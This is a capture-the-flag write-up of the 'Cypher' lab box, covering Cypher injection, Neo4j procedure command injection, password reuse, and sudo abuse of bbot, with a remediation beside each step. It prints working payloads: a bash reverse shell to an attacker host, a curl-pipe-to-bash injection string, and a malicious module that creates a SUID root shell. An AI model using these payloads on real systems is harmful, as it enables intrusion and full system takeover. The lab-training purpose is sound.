Cypher
Summary
I discovered that the target's web port redirected to a Neo4j-branded 'GRAPH ASM' application on the vhost cypher.htb. A directory brute force found an open directory listing exposing the application's custom Neo4j procedure JAR. Decompiling it revealed an OS command injection in a custom Cypher procedure, and the login endpoint's verbose error messages leaked the exact Cypher query syntax needed to reach that procedure through a UNION injection — together giving remote code execution as the neo4j service account.
A world-readable configuration file on the box exposed a Neo4j password that was reused as the local Linux password for user graphasm, yielding SSH access and the user flag. Finally, an overly broad sudo rule let graphasm run the bbot scanner as root with my own module directory; a malicious module was used to mint a SUID-root bash shell, completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
echo "$TARGET cypher.htb" | sudo tee -a /etc/hostscurl -ksS -L -D - http://$TARGET/curl -ksS http://cypher.htb/api/docsExact commands 3
feroxbuster -u http://cypher.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txtcurl -s http://cypher.htb/testing/wget http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jarFixDisable directory listing and remove build artifacts from the web rootHigh
Exact commands 1
curl -sS -X POST http://cypher.htb/api/auth -H 'Content-Type: application/json' -d '{"username":"x'"'"'","password":"x"}'FixUse parameterized Cypher queries and suppress verbose database errorsCritical
Exact commands 2
unzip -l custom-apoc-extension-1.0-SNAPSHOT.jarjadx -d apoc-out custom-apoc-extension-1.0-SNAPSHOT.jarFixRemove unsanitized shell command construction from the custom Neo4j procedureCritical
Exact commands 4
echo "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" > shell && python3 -m http.server 80nc -lvnp 4444curl -sS -X POST http://cypher.htb/api/auth -H 'Content-Type: application/json' -d '{"username":"x'"'"' RETURN h.value AS hash UNION CALL custom.getUrlStatusCode(\"cypher.htb; curl $ATTACKER_IP/shell|bash; \") YIELD statusCode AS hash RETURN hash;//","password":"x"}'idExact commands 2
cat /home/graphasm/bbot_preset.ymlsshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no graphasm@cypher.htb 'id && cat /home/graphasm/user.txt'FixProtect credential files and eliminate password reuse across servicesHigh
Exact commands 5
sudo -lprintf 'from bbot.modules.base import BaseModule\nclass pwn(BaseModule):\n watched_events = ["DNS_NAME"]\n async def setup(self):\n import os; os.system("cp /bin/bash /tmp/bash && chmod u+s /tmp/bash")\n return True\n' > /tmp/mods/pwn.pyprintf 'module_dirs:\n - /tmp/mods\n' > /tmp/pwn.ymlsudo /usr/local/bin/bbot -p /tmp/pwn.yml -m pwn -t cypher.htb -y/tmp/bash -p -c 'id && cat /root/root.txt'FixRemove unrestricted sudo access to bbot (or any binary that loads external code)Critical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.24.0 (Ubuntu) |